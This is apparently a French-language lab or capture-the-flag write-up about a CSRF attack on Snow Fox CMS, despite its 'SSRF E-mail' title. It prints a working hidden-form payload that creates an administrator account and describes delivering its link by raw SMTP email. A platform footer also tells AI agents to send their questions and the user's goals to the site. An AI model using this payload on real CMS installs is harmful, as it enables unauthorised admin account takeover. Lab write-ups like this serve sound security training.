> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-email-pentesting-web.md).

# SSRF E-mail

## CSRF :

Recherche sur SearchExploit pour le CMS Snow Fox, qui révèle une vulnérabilité CSRF.

<figure><img src="/files/c4b6e1ad3721175f6286eb71ccb706f082be8d7d" alt=""><figcaption></figcaption></figure>

**Fichier HTML vulnérable :**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-clinkt-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Envoyer le formulaire" />
    </form>
  </body>
</html>

```

Tentative d'attaque [CSRF](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) attaque pour créer un compte administrateur via Snow Fox CMS

* Se connecte via telnand sur le port SMTP 25.

<figure><img src="/files/ff050542b8e20cf8363a04948ef013f7d00614d5" alt=""><figcaption></figcaption></figure>

* Envoyer un e-mail à "<valenka@casino-royale.local>" avec les liens de notre serveur Python3 HTTP avec le fichier HTML vulnérable.

<figure><img src="/files/b8527269004cae2fd70dd463114d5006684adb98" alt=""><figcaption></figcaption></figure>

**Connexion avec le compte administrateur du CMS :**

* Tentative de connexion avec les nouvelles identifiants, entraînant la création d'un compte administrateur sur Snow Fox CMS.

<figure><img src="/files/92a17ae05e1302fc6f11bf5dd9d45ea214e9bc68" alt=""><figcaption></figcaption></figure>

#### Après exploitation de la vulnérabilité CSRF, un compte administrateur est créé dans Snow Fox CMS.

<figure><img src="/files/9278ad69430df2ece2c10ec0e0b26e4e3428e8d8" alt=""><figcaption></figcaption></figure>

#### Identification d'un indice dans la description d'un utilisateur

Dans la description de l'utilisateur du CMS, un indice supplémentaire indique un répertoire à suivre.

<figure><img src="/files/70b87785cc1cb168af675efa72bda7dbbedba36d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-email-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
